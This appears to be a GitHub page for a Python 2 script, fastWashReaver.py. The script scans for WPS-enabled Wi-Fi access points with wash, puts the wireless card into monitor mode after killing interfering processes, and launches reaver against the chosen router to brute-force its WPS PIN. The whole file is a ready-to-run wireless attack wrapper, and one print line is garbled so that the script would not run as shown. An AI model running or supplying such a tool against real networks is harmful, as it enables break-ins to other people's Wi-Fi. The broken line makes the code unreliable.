-
Notifications
You must be signed in to change notification settings - Fork 0
/
fastWashReaver.py
88 lines (73 loc) · 2.26 KB
/
fastWashReaver.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
#!/usr/bin/python
import os
import json
import argparse
def intInput(text,maxvalue=0):
while True:
try:
value = int(raw_input(text))
if value>maxvalue or value<=0:
continue
except ValueError:
print("Try again")
continue
else:
break
return value
def strInput(text):
while True:
try:
value = raw_input(text)
except ValueError:
print("Try again")
continue
else:
break
return value
def setMonitorMode(channel,card='wlan0'):
cmd = 'airmon-ng check kill'
os.system(cmd)
cmd = 'ifconfig %s down' % card
os.system(cmd)
cmd='iwconfig %s mode managed'% card
os.system(cmd)
cmd='ifconfig %s up'% card
os.system(cmd)
cmd='iwconfig %s channel %d'% (card,channel)
os.system(cmd)
cmd='ifconfig %s down'% card
os.system(cmd)
cmd='iwconfig %s mode monitor'% card
os.system(cmd)
cmd='ifconfig %s up'% card
os.system(cmd)
def reaver(card,channel,bssid):
cmd = 'reaver -i %s -c %d -b %s -vv' %(card,channel,bssid)
os.system(cmd)
if __name__ == "__main__":
parser = argparse.ArgumentParser(description='Process wash, set to monitor mode, and then reaver')
parser.add_argument('-i','--interface', help='interface',required=True)
parser.add_argument('-s','--sleep',type=int, help='sleep for wash (in seconds)',default=5)
args = parser.parse_args()
card = args.interface
sleep = args.sleep
cmd ='wash -i %s -j -o tmp.json & sleep %d ; killall wash' % (card, sleep)
os.system(cmd)
with open('tmp.json', 'r') as myfile:
data=myfile.read()
data='['+data+']'
data=data.replace('}','},')
data=data.replace('},\n]','}]')
wireless = json.loads(data)
print ' BSSID\t\t\tCHANNEL\tRSSI\tESSID'
i = 1
for wire in wireless:
print str(i)+' '+wire['bssid'] + '\t' + str(wire['channel']) \
+ '\t' + str(wire['rssi'])+ '\t' + wire['essid']'\t' + wire['essid']
i=i+1
print ''
network = None
network = intInput('Choose a Wireless:',maxvalue=len(wireless))
selected= wireless[network-1]
setMonitorMode(selected['channel'],card=card)
reaver(card,selected['channel'],selected['bssid'])